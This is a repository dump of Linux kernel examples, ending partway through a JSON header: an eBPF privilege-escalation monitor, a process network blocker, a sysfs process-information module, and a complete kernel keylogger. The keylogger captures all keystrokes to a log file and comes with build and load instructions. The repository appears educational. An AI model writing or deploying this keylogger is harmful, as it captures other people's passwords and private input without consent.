├── README.md ├── kernelKeyLogger ├── Makefile ├── README.md └── keyboard_logger.c ├── privilege_escalation_monitor ├── Makefile ├── README.md ├── privilege_escalation_monitor_kern.c └── privilege_escalation_monitor_user.c ├── process_network_blocker ├── Makefile ├── README.md └── process_network_blocker.c ├── retrive_process_informations ├── Makefile ├── README.md ├── kjson │ ├── kjson.h │ ├── kjson_main.c │ ├── kjson_parser.c │ └── kjstring.h └── procinfo.c └── sysfs ├── Makefile ├── README.md ├── kobj_attribute_example.c ├── kobject_example.c └── sysfs_kset_example.c /README.md: -------------------------------------------------------------------------------- 1 | # linux-kernel-examples 2 | Linux kernel programming examples 3 | -------------------------------------------------------------------------------- /kernelKeyLogger/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := keyboard_logger.o 2 | 3 | COMPILE_DIR=$(PWD) 4 | KDIR = /lib/modules/$(shell uname -r)/build 5 | 6 | all: 7 | $(MAKE) -C $(KDIR) M=$(COMPILE_DIR) modules 8 | 9 | clean: 10 | rm -f -v *.o *.ko 11 | -------------------------------------------------------------------------------- /kernelKeyLogger/README.md: -------------------------------------------------------------------------------- 1 | How to use it: Modify the LOG_FILE_PATH macro on the keyboad_logger.c source code with the path you prefer. 2 | 3 | Build: `make` 4 | 5 | Execute: `insmod keyoboard_logger.ko` 6 | 7 | You'll find the log file on the LOG_FILE_PATH path. 8 | 9 | [Read my article on Medium to know more about my Kernel Key Logger](https://medium.com/@emanuele.santini.88/developing-a-linux-kernel-module-keylogger-6c3922d72f9d) 10 | 11 | -------------------------------------------------------------------------------- /kernelKeyLogger/keyboard_logger.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | /* 3 | * Copyright (C) 2024 Emanuele Santini 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | /* CHANGE THIS TO YOUR PREFER LOCATION */ 15 | #define LOG_FILE_PATH "/root/keyboard_log" 16 | 17 | /* Size of the side and back buffer */ 18 | #define MAX_BUFFER_SIZE 256 19 | 20 | /* Size of the temporaney keyboard string buffer */ 21 | #define TMP_BUFF_SIZE 16 22 | 23 | struct keyboard_logger { 24 | struct file *log_file; 25 | 26 | struct notifier_block keyboard_notifier; 27 | struct work_struct writer_task; 28 | 29 | char *keyboard_buffer; 30 | char *write_buffer; 31 | 32 | // Length of the data currently written by the keyboard_buffer 33 | size_t buffer_offset; 34 | // Length of the write_buffer data ready to write 35 | size_t buffer_len; 36 | // Writing position on the keyboard_log file 37 | loff_t file_off; 38 | 39 | /* Keyboard input are recorded on the buffer pointed by the keyboard_buffer. 40 | * This buffer is switched with the write_buffer buffer to perform the write_log_task 41 | */ 42 | char side_buffer[MAX_BUFFER_SIZE]; 43 | char back_buffer[MAX_BUFFER_SIZE]; 44 | }; 45 | 46 | static int keyboard_callback(struct notifier_block *kblock, unsigned long action, void *data); 47 | static void write_log_task(struct work_struct *work); 48 | static size_t keycode_to_us_string(int keycode, int shift, char *buffer, size_t buff_size); 49 | static void flush_buffer(struct keyboard_logger *klogger); 50 | 51 | /* 52 | * US keymap 53 | * I got this from: https://github.com/jarun/spy/blob/master/spy.c 54 | */ 55 | static const char *us_keymap[][2] = { 56 | {"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"}, // 0-3 57 | {"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"}, // 4-7 58 | {"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"}, // 8-11 59 | {"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"}, // 12-14 60 | {"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"}, 61 | {"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"}, // 20-23 62 | {"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"}, // 24-27 63 | {"\n", "\n"}, {"_LCTRL_", "_LCTRL_"}, {"a", "A"}, {"s", "S"}, // 28-31 64 | {"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"}, // 32-35 65 | {"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"}, // 36-39 66 | {"'", "\""}, {"`", "~"}, {"_LSHIFT_", "_LSHIFT_"}, {"\\", "|"}, // 40-43 67 | {"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"}, // 44-47 68 | {"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"}, // 48-51 69 | {".", ">"}, {"/", "?"}, {"_RSHIFT_", "_RSHIFT_"}, {"_PRTSCR_", "_KPD*_"}, 70 | {"_LALT_", "_LALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"}, 71 | {"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"}, // 60-63 72 | {"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"}, // 64-67 73 | {"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"}, // 68-70 74 | {"_KPD7_", "_HOME_"}, {"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, // 71-73 75 | {"-", "-"}, {"_KPD4_", "_LEFT_"}, {"_KPD5_", "_KPD5_"}, // 74-76 76 | {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"}, // 77-79 77 | {"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, // 80-82 78 | {"_KPD._", "_DEL_"}, {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"}, // 83-85 79 | {"\0", "\0"}, {"F11", "F11"}, {"F12", "F12"}, {"\0", "\0"}, // 86-89 80 | {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, 81 | {"\0", "\0"}, {"_KPENTER_", "_KPENTER_"}, {"_RCTRL_", "_RCTRL_"}, {"/", "/"}, 82 | {"_PRTSCR_", "_PRTSCR_"}, {"_RALT_", "_RALT_"}, {"\0", "\0"}, // 99-101 83 | {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"}, {"_PGUP_", "_PGUP_"}, // 102-104 84 | {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"}, 85 | {"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"}, // 108-110 86 | {"_DEL_", "_DEL_"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, // 111-114 87 | {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, // 115-118 88 | {"_PAUSE_", "_PAUSE_"}, // 119 89 | }; 90 | 91 | void flush_buffer(struct keyboard_logger *klogger) 92 | { 93 | // Swap the buffer 94 | char *tmp = klogger->keyboard_buffer; 95 | klogger->keyboard_buffer = klogger->write_buffer; 96 | klogger->write_buffer = tmp; 97 | klogger->buffer_len = klogger->buffer_offset; 98 | 99 | // Start to write the buffer to the log file 100 | schedule_work(&klogger->writer_task); 101 | 102 | // Reset the keyboard buffer 103 | memset(klogger->keyboard_buffer, 0x0, MAX_BUFFER_SIZE); 104 | klogger->buffer_offset = 0; 105 | } 106 | 107 | // Returns the size of the string copied into the buffer, with its maximum being buff_size. 108 | size_t keycode_to_us_string(int keycode, int shift, char *buffer, size_t buff_size) 109 | { 110 | memset(buffer, 0x0, buff_size); 111 | 112 | if(keycode > KEY_RESERVED && keycode <= KEY_PAUSE) 113 | { 114 | // If shift is pressed we want a capital letter 115 | const char *us_key = (shift == 1) ? us_keymap[keycode][1] : us_keymap[keycode][0]; 116 | snprintf(buffer, buff_size, "%s", us_key); 117 | // strlen(buffer) couldn't be greather than buff_size 118 | return strlen(buffer); 119 | } 120 | 121 | return 0; 122 | } 123 | 124 | /* 125 | * This callback is executed by the VT driver when a key event is performed. 126 | * This task is executed in an atomic context, we cannot sleep! 127 | * So we cannot perform the write_kernel here to write the log on the file. 128 | */ 129 | int keyboard_callback(struct notifier_block *kblock, unsigned long action, void *data) 130 | { 131 | struct keyboard_logger *klogger; 132 | struct keyboard_notifier_param *key_param; 133 | size_t keystr_len = 0; 134 | char tmp_buff[TMP_BUFF_SIZE]; 135 | 136 | klogger = container_of(kblock, struct keyboard_logger, keyboard_notifier); 137 | key_param = (struct keyboard_notifier_param *)data; 138 | 139 | // Log only when a key is pressed down OR the value of keyboard_notifier_param has a mapped keyboard string/character 140 | if(!(key_param->down) || (keystr_len = keycode_to_us_string(key_param->value, key_param->shift, tmp_buff, TMP_BUFF_SIZE)) < 1) 141 | return NOTIFY_OK; 142 | 143 | // With the endline we will swap the buffer and write it on the log file 144 | if(tmp_buff[0] == '\n') 145 | { 146 | klogger->keyboard_buffer[klogger->buffer_offset++] = '\n'; 147 | flush_buffer(klogger); 148 | return NOTIFY_OK; 149 | } 150 | 151 | /* The last byte is reserved for the endline character. 152 | * So, I need to swap the buffer when the (offset + keystr_len) is EQUAL or greater than MAX_BUFFER_SIZE - 1 153 | */ 154 | if((klogger->buffer_offset + keystr_len) >= MAX_BUFFER_SIZE - 1) 155 | flush_buffer(klogger); 156 | 157 | strncpy(klogger->keyboard_buffer + klogger->buffer_offset, tmp_buff, keystr_len); 158 | klogger->buffer_offset += keystr_len; 159 | 160 | return NOTIFY_OK; 161 | } 162 | 163 | /* 164 | * This is an asynchronous task performed by the kernel workqueue. 165 | * Here we will write the key_buffer into the log_file. 166 | * The write_kernel call could sleep, so we need to do this in a process context. 167 | */ 168 | void write_log_task(struct work_struct *work) 169 | { 170 | struct keyboard_logger *klogger; 171 | 172 | klogger = container_of(work, struct keyboard_logger, writer_task); 173 | 174 | // Write the file 175 | kernel_write(klogger->log_file, klogger->write_buffer, klogger->buffer_len, &klogger->file_off); 176 | } 177 | 178 | static struct keyboard_logger *klogger; 179 | 180 | static int __init k_key_logger_init(void) 181 | { 182 | if((klogger = kzalloc(sizeof(struct keyboard_logger), GFP_KERNEL)) == NULL) 183 | { 184 | pr_err("Unable to alloc memory\n"); 185 | return -ENOMEM; 186 | } 187 | 188 | klogger->keyboard_notifier.notifier_call = keyboard_callback; 189 | INIT_WORK(&klogger->writer_task, &write_log_task); 190 | 191 | // Open the log file 192 | if(IS_ERR(klogger->log_file = filp_open(LOG_FILE_PATH, O_CREAT | O_RDWR, 0644))) 193 | { 194 | pr_info("Unable to create a log file\n"); 195 | return -EINVAL; 196 | } 197 | 198 | // Setup the double buffer 199 | klogger->keyboard_buffer = klogger->side_buffer; 200 | klogger->write_buffer = klogger->back_buffer; 201 | 202 | register_keyboard_notifier(&klogger->keyboard_notifier); 203 | 204 | return 0; 205 | } 206 | 207 | static void __exit k_key_logger_exit(void) 208 | { 209 | unregister_keyboard_notifier(&klogger->keyboard_notifier); 210 | // Close the log file 211 | fput(klogger->log_file); 212 | kfree(klogger); 213 | } 214 | 215 | module_init(k_key_logger_init); 216 | module_exit(k_key_logger_exit); 217 | 218 | MODULE_LICENSE("GPL v2"); 219 | MODULE_AUTHOR("Emanuele Santini "); 220 | MODULE_DESCRIPTION("Kernel keyboard logger"); 221 | 222 | -------------------------------------------------------------------------------- /privilege_escalation_monitor/Makefile: -------------------------------------------------------------------------------- 1 | CLANG ?= clang 2 | LIBS := -lbpf -lelf 3 | ARCH = x86 4 | 5 | 6 | all: privilege_escalation_monitor_kern.o privilege_escalation_monitor 7 | 8 | clean: 9 | rm -f *.o 10 | rm -f cred_monitor.skel.h 11 | 12 | vmlinux.h: 13 | bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h 14 | 15 | # 16 | # BPF is kernel code. We need to pass -D__KERNEL__ to refer to fields present 17 | # in the kernel version of pt_regs struct. uAPI version of pt_regs (from ptrace) 18 | # has different field naming. 19 | # See: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fd56e0058412fb542db0e9556f425747cf3f8366 20 | # 21 | privilege_escalation_monitor_kern.o: privilege_escalation_monitor_kern.c vmlinux.h 22 | $(CLANG) -g -O2 -Wall -target bpf -D__TARGET_ARCH_$(ARCH) -D__KERNEL__ -c $< -o $@ 23 | 24 | 25 | privilege_escalation_monitor: privilege_escalation_monitor_user.c 26 | $(CC) -g -Wall $(LIBS) $< -o $@ 27 | 28 | -------------------------------------------------------------------------------- /privilege_escalation_monitor/README.md: -------------------------------------------------------------------------------- 1 | # Privilege Escalation Monitor 2 | 3 | This is an eBPF program based to monitor the root access on your system. You'll find more information on my article: 4 | [Enhance Linux Security: Monitoring Privilege Escalation on Processes with eBPF](https://medium.com/@emanuele.santini.88/enhance-linux-security-monitoring-privilege-escalation-on-processes-with-ebpf-624531434a87) 5 | 6 | ## Build: 7 | 8 | Install bpftool from your distro repo or download and build from here: https://github.com/libbpf/bpftool 9 | 10 | Type: `make` 11 | 12 | ## Run: 13 | 14 | Type `./privilege_escalation_monitor` 15 | -------------------------------------------------------------------------------- /privilege_escalation_monitor/privilege_escalation_monitor_kern.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | /* 3 | * Copyright (C) 2023 - 2024 Emanuele Santini 4 | */ 5 | 6 | #include "vmlinux.h" 7 | #include 8 | #include 9 | #include 10 | 11 | 12 | #define PATH_MAX 128 13 | 14 | struct process_stats { 15 | pid_t tgid; 16 | unsigned int old_uid; 17 | unsigned int new_uid; 18 | }; 19 | 20 | struct { 21 | __uint(type, BPF_MAP_TYPE_RINGBUF); 22 | __uint(max_entries, 1024); 23 | } process_stats_buffer SEC(".maps"); 24 | 25 | static void send_event(const struct task_struct *task, kuid_t old_uid, kuid_t new_uid) 26 | { 27 | struct process_stats *value; 28 | 29 | // Get a buffer from the ring buffer 30 | value = bpf_ringbuf_reserve(&process_stats_buffer, sizeof(struct process_stats), 0); 31 | if(!value) 32 | { 33 | bpf_printk("Error - ringbuffer is full\n"); 34 | return; 35 | } 36 | 37 | // Get's the PID of the process 38 | value->tgid = BPF_CORE_READ(task, tgid); 39 | 40 | value->old_uid = old_uid.val; 41 | value->new_uid = new_uid.val; 42 | 43 | // Commit the buffer to user 44 | bpf_ringbuf_submit(value, 0); 45 | } 46 | 47 | SEC("kprobe/commit_creds") 48 | int commit_creds(struct pt_regs *regs) 49 | { 50 | const struct task_struct *task; 51 | const struct cred *old_cred, *new_cred; 52 | kuid_t old_uid, new_uid; 53 | 54 | // Gets the first parameter of the commit_creds kernel call -> struct cred *new 55 | if(!(new_cred = (struct cred*)PT_REGS_PARM1(regs))) 56 | return 0; 57 | 58 | task = (struct task_struct*)bpf_get_current_task(); 59 | if(!task) 60 | return 0; 61 | 62 | // Gets the current cred of the executed process 63 | if(bpf_core_read(&old_cred, sizeof(void *), &task->cred)) 64 | return 0; 65 | 66 | // On this tutorial we are only interested about UID creds. 67 | old_uid = BPF_CORE_READ(old_cred, uid); 68 | new_uid = BPF_CORE_READ(new_cred, uid); 69 | 70 | /* 71 | * Compare the current cred with the old cred. 72 | * We have a privilege escalation if: 73 | * new credentials uid is 0 AND old_uid is greather than 0 74 | */ 75 | if(new_uid.val == 0 && old_uid.val > 0) 76 | send_event(task, old_uid, new_uid); 77 | 78 | return 0; 79 | } 80 | 81 | char LICENSE[] SEC("license") = "GPL"; 82 | 83 | 84 | -------------------------------------------------------------------------------- /privilege_escalation_monitor/privilege_escalation_monitor_user.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | /* 3 | * Copyright (C) 2023 - 2024 Emanuele Santini 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #define PATH_MAX 128 18 | 19 | struct process_stats { 20 | pid_t tgid; 21 | unsigned int old_uid; 22 | unsigned int new_uid; 23 | }; 24 | 25 | // Callback executed at every ring buffer message reveived from bpf_ringbuf_submit 26 | static int handle_msg(void *ctx, void *data, size_t sz) 27 | { 28 | const struct process_stats *proc = (const struct process_stats*)data; 29 | char proc_path[PATH_MAX], exe_path[PATH_MAX], cmd_line[PATH_MAX]; 30 | int cmdline_ds, i; 31 | 32 | memset(proc_path, 0x0, PATH_MAX); 33 | memset(exe_path, 0x0, PATH_MAX); 34 | memset(cmd_line, 0x0, PATH_MAX); 35 | 36 | // Gets the process executable path 37 | snprintf(proc_path, PATH_MAX, "/proc/%d/exe", proc->tgid); 38 | readlink(proc_path, exe_path, PATH_MAX); 39 | 40 | // Gets the process command line 41 | snprintf(proc_path, PATH_MAX, "/proc/%d/cmdline", proc->tgid); 42 | if((cmdline_ds = open(proc_path, O_RDONLY))) 43 | { 44 | read(cmdline_ds, cmd_line, PATH_MAX); 45 | for(i = 0; i < PATH_MAX - 1; i++) 46 | if(cmd_line[i] == '\0' && cmd_line[i + 1] != '\0') 47 | cmd_line[i] = ' '; 48 | 49 | close(cmdline_ds); 50 | } 51 | 52 | printf("Escalation from: PID %d: Executable path: %s Command line: %s Old UID: %u New UID: %u\n", proc->tgid, exe_path, cmd_line, proc->old_uid, proc->new_uid); 53 | 54 | return 0; 55 | } 56 | 57 | int main(int argc, char *argv[]) 58 | { 59 | struct bpf_object *obj = NULL; 60 | struct bpf_program *prog; 61 | struct bpf_link *link; 62 | struct ring_buffer *rb; 63 | int mapfd; 64 | 65 | // Open the eBPF object program 66 | obj = bpf_object__open_file("privilege_escalation_monitor_kern.o", NULL); 67 | if(libbpf_get_error(obj)) 68 | { 69 | fprintf(stderr, "ERROR: opening BPF object file failed\n"); 70 | obj = NULL; 71 | return 0; 72 | } 73 | 74 | // load BPF program 75 | if(bpf_object__load(obj)) 76 | { 77 | fprintf(stderr, "ERROR: loading BPF object file failed\n"); 78 | return 1; 79 | } 80 | 81 | // Get the program entry point symbol 82 | prog = bpf_object__find_program_by_name(obj, "commit_creds"); 83 | if(!prog) 84 | { 85 | fprintf(stderr, "ERROR: finding a prog in obj file failed\n"); 86 | return 1; 87 | } 88 | 89 | // Get the ring buffer data structure symbol 90 | mapfd = bpf_object__find_map_fd_by_name(obj, "process_stats_buffer"); 91 | if(mapfd < 0) { 92 | fprintf(stderr, "ERROR: finding a map in obj file failed\n"); 93 | return 1; 94 | } 95 | 96 | // Creates a new instance of a user ring buffer. Uses as event callback 97 | rb = ring_buffer__new(mapfd, handle_msg, NULL, NULL); 98 | 99 | // Start the eBPF program "commit_creds" 100 | if((link = bpf_program__attach(prog)) == NULL) 101 | { 102 | fprintf(stderr, "ERROR: attaching BPF object file failed\n"); 103 | return 1; 104 | } 105 | 106 | printf("Escalation privilege monitor starts; Press CTRL-C to exit\n"); 107 | 108 | for(;;) { 109 | ring_buffer__poll(rb, 1000); // 1000 is the ms timeout 110 | } 111 | 112 | return 0; 113 | } 114 | 115 | 116 | 117 | -------------------------------------------------------------------------------- /process_network_blocker/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := process_network_blocker.o 2 | 3 | COMPILE_DIR=$(PWD) 4 | KDIR = /lib/modules/$(shell uname -r)/build 5 | 6 | all: 7 | $(MAKE) -C $(KDIR) M=$(COMPILE_DIR) modules 8 | 9 | clean: 10 | rm -f -v *.o *.ko 11 | -------------------------------------------------------------------------------- /process_network_blocker/README.md: -------------------------------------------------------------------------------- 1 | # Creating a Linux Security Module with Kprobes 2 | 3 | This is an example of an eBPF program that uses the Linux Security Module. A complete explanation can be found [here](https://medium.com/@emanuele.santini.88/creating-a-linux-security-module-with-kprobes-blocking-network-of-targeted-processes-4046f50290f5) 4 | -------------------------------------------------------------------------------- /process_network_blocker/process_network_blocker.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | 3 | /* 4 | * Copyright (C) 2023 - 2024 Emanuele Santini 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | // Put here the process you want to block 13 | const char *executable_path = "/usr/bin/wget"; 14 | 15 | // Exit callback from the probed functions 16 | static int security_hook_exit(struct kretprobe_instance *ri, struct pt_regs *regs); 17 | // Entry callback from the probed functions 18 | static int security_hook_entry(struct kretprobe_instance *ri, struct pt_regs *regs); 19 | 20 | /* The kernel functions we want to hooks: */ 21 | const char *sendmsg_hook_name = "security_socket_sendmsg"; 22 | const char *recvmsg_hook_name = "security_socket_recvmsg"; 23 | const char *connect_hook_name = "security_socket_connect"; 24 | const char *accept_hook_name = "security_socket_accept"; 25 | 26 | // Utility function to initialize a kretprobe data 27 | #define declare_kretprobe(NAME, ENTRY_CALLBACK, EXIT_CALLBACK, DATA_SIZE) \ 28 | static struct kretprobe NAME = { \ 29 | .handler = EXIT_CALLBACK, \ 30 | .entry_handler = ENTRY_CALLBACK, \ 31 | .data_size = DATA_SIZE, \ 32 | .maxactive = NR_CPUS, \ 33 | }; 34 | 35 | // Utility function to register a kretprobe with error handling 36 | #define set_kretprobe(KPROBE) \ 37 | do { \ 38 | if(register_kretprobe(KPROBE)) { \ 39 | pr_err("MB EDR drv - unable to register a probe\n"); \ 40 | return -EINVAL; \ 41 | } \ 42 | } while(0) 43 | 44 | declare_kretprobe(sendmsg_probe, security_hook_entry, security_hook_exit, 0); 45 | declare_kretprobe(recvmsg_probe, security_hook_entry, security_hook_exit, 0); 46 | declare_kretprobe(connect_probe, security_hook_entry, security_hook_exit, 0); 47 | declare_kretprobe(accept_probe, security_hook_entry, security_hook_exit, 0); 48 | 49 | static int __init process_network_blocker_init(void) 50 | { 51 | sendmsg_probe.kp.symbol_name = sendmsg_hook_name; 52 | recvmsg_probe.kp.symbol_name = recvmsg_hook_name; 53 | connect_probe.kp.symbol_name = connect_hook_name; 54 | accept_probe.kp.symbol_name = accept_hook_name; 55 | 56 | set_kretprobe(&sendmsg_probe); 57 | set_kretprobe(&recvmsg_probe); 58 | set_kretprobe(&connect_probe); 59 | set_kretprobe(&accept_probe); 60 | 61 | return 0; 62 | } 63 | 64 | static void __exit process_network_blocker_exit(void) 65 | { 66 | unregister_kretprobe(&sendmsg_probe); 67 | unregister_kretprobe(&recvmsg_probe); 68 | unregister_kretprobe(&connect_probe); 69 | unregister_kretprobe(&accept_probe); 70 | } 71 | 72 | /* Returns the file pointer of the executable of a task_struct. 73 | * The file pointer returned must to be released with fput(file) 74 | */ 75 | static struct file* my_get_task_exe_file(struct task_struct *ctx) 76 | { 77 | struct file *exe_file = NULL; 78 | struct mm_struct *mm; 79 | 80 | if(unlikely(!ctx)) 81 | return NULL; 82 | 83 | task_lock(ctx); 84 | mm = ctx->mm; 85 | 86 | if(mm && !(ctx->flags & PF_KTHREAD)) 87 | { 88 | rcu_read_lock(); 89 | 90 | exe_file = rcu_dereference(mm->exe_file); 91 | if(exe_file && !get_file_rcu(exe_file)) 92 | exe_file = NULL; 93 | 94 | rcu_read_unlock(); 95 | } 96 | 97 | task_unlock(ctx); 98 | 99 | return exe_file; 100 | } 101 | 102 | int security_hook_entry(struct kretprobe_instance *ri, struct pt_regs *regs) 103 | { 104 | struct file *fp_executable; 105 | char *res; 106 | char exe_path[256]; 107 | 108 | memset(exe_path, 0x0, 256); 109 | 110 | // Get the current task executable file pointer 111 | fp_executable = my_get_task_exe_file(get_current()); 112 | if(fp_executable == NULL) 113 | return 1; // Do not call exit handler 114 | 115 | // Gets the path of the fp_executable 116 | if(IS_ERR(res = d_path(&fp_executable->f_path, exe_path, 256))) 117 | return 1; 118 | 119 | /* If the process executable is the same of executable_path (the one we want to block): 120 | * 0 is returned: The exit callback is executed 121 | */ 122 | if(!strncmp(res, executable_path, 256)) 123 | { 124 | printk("Blocking %s\n", res); 125 | return 0; 126 | } 127 | 128 | fput(fp_executable); 129 | 130 | // Retrun 1: Do not execute the exit callback (security_hook_exit) 131 | return 1; 132 | } 133 | 134 | /* 135 | * Exit callback: 136 | * Executed when the probed function is eneded 137 | */ 138 | int security_hook_exit(struct kretprobe_instance *ri, struct pt_regs *regs) 139 | { 140 | // rax contains the exit value of the probed function 141 | regs->ax = -EACCES; 142 | return 0; 143 | } 144 | 145 | module_init(process_network_blocker_init); 146 | module_exit(process_network_blocker_exit); 147 | MODULE_LICENSE("GPL"); 148 | MODULE_AUTHOR("Emanuele Santini "); 149 | 150 | -------------------------------------------------------------------------------- /retrive_process_informations/Makefile: -------------------------------------------------------------------------------- 1 | procinfo_module-objs := kjson/kjson_main.o kjson/kjson_parser.o procinfo.o 2 | obj-m := procinfo_module.o 3 | 4 | KDIR = /lib/modules/$(shell uname -r)/build 5 | 6 | all: 7 | $(MAKE) -C $(KDIR) M=$(PWD) modules 8 | clean: 9 | rm -v *.o *.ko 10 | 11 | -------------------------------------------------------------------------------- /retrive_process_informations/README.md: -------------------------------------------------------------------------------- 1 | This module is capable of receiving a JSON file from the user through the sysfs object created, which contains details about a specific process identified by its process ID (PID). 2 | Upon receiving the file, the module processes the request and responds with comprehensive information about the specified process. 3 | This information includes the list of files currently opened by the process, the open sockets associated with the process, and the path to the executable file of the process. 4 | 5 | This module uses kjson library. 6 | 7 | Json input format: 8 | { 9 | "process_pid": 1, 10 | "request": ["process_path", "file_open", "process_socket"] 11 | } 12 | 13 | Example: 14 | ``` 15 | # insmod procinfo.ko 16 | # cd /sys/kernel/procinfo/ 17 | # echo { \"process_pid\": 1, \"request\": [\"process_path\", \"file_open\", \"process_socket\"] } > jsoninfo 18 | # cat jsoninfo 19 | {"ExecutablePath": "/usr/lib/systemd/systemd", "request": ["process_path", "file_open", "process_socket"], "ProcessFilesOpen": ["/dev/null", "/dev/null", "/dev/null", "/dev/kmsg", "anon_inode:[eventpoll]", "anon_inode:[signalfd]", "anon_inode:inotify", "/sys/fs/cgroup", "anon_inode:[timerfd]", "anon_inode:[eventpoll]", "/proc/1/mountinfo", "anon_inode:inotify", "/usr/lib/x86_64-linux-gnu/libgcr-base-3.so.1.0.0", "anon_inode:inotify", "/proc/swaps", "socket:[20768]", "socket:[20769]", "socket:[20770]", "socket:[20771]", "socket:[20772]", "socket:[20774]", "socket:[20775]", "/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.7200.4", "/usr/lib/x86_64-linux-gnu/libX11.so.6.4.0", "/usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0.7200.4", "/usr/lib/x86_64-linux-gnu/libsystemd.so.0.32.0", "anon_inode:inotify", "/dev/autofs", "pipe:[20781]", "anon_inode:[timerfd]", "/run/dmeventd-server", "/run/dmeventd-client"], "process_pid": 1, "ProcessSockOpen": [{"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 15}, {"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 0}, {"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 0}, {"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 0}, {"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 0}, {"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 0}, {"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 0}]} 20 | ``` 21 | -------------------------------------------------------------------------------- /retrive_process_informations/kjson/kjson.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | 3 | /* This file is part of JsonOnKernel. 4 | * 5 | * JsonOnKernel is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 2 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * JsonOnKernel is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with Nome-Programma. If not, see . 17 | * 18 | * Copyright (C) 2023, Emanuele Santini 19 | * 20 | * Authors: Emanuele Santini 21 | */ 22 | 23 | #ifndef _KJSON_H 24 | #define _KJSON_H 25 | 26 | #include 27 | #include "kjstring.h" 28 | 29 | #define KJSON_KEY_SIZE 256 30 | 31 | #ifndef KJSON_BITS_SIZE 32 | #define KJSON_BITS_SIZE 6 33 | #endif 34 | 35 | #ifndef KJSON_MEMORY_DUMP_SIZE 36 | #define KJSON_MEMORY_DUMP_SIZE 4096 37 | #endif 38 | 39 | /* 40 | * This is the kjson data structure. 41 | */ 42 | struct kjson_container; 43 | 44 | /* 45 | * JSON value type supported. 46 | */ 47 | enum kjson_object_type { 48 | KOBJECT_TYPE_INTEGER = 1, 49 | KOBJECT_TYPE_STRING = 2, 50 | KOBJECT_TYPE_OBJECT = 3, 51 | KOBJECT_TYPE_INTEGER_ARRAY = 4, 52 | KOBJECT_TYPE_STRING_ARRAY = 5, 53 | KOBJECT_TYPE_OBJECT_ARRAY = 6, 54 | KOBJECT_TYPE_OBJECT_NULL = 7, 55 | KOBJECT_TYPE_OBJECT_BOOL = 8, 56 | KOBJECT_NUM = 9 57 | }; 58 | 59 | /* 60 | * kjson_object_t rappresent a JSON object into a JSON data structure. 61 | * Each kjson_object_t is a node of an Hash Table defined into the kjson_container. 62 | * Key is the JSON key of the object, used to access the Hash Table. 63 | * data is a variable array that store the JSON value type (int, string, array, ecc). 64 | */ 65 | struct kjson_object_t { 66 | struct hlist_node obj_list; 67 | enum kjson_object_type type; 68 | char key[KJSON_KEY_SIZE]; 69 | char data[]; 70 | }; 71 | 72 | /* 73 | * If data field on kjson_object_t is an array, it's header is defined by this struct 74 | */ 75 | struct kjson_array_struct { 76 | size_t len; 77 | char data[]; 78 | 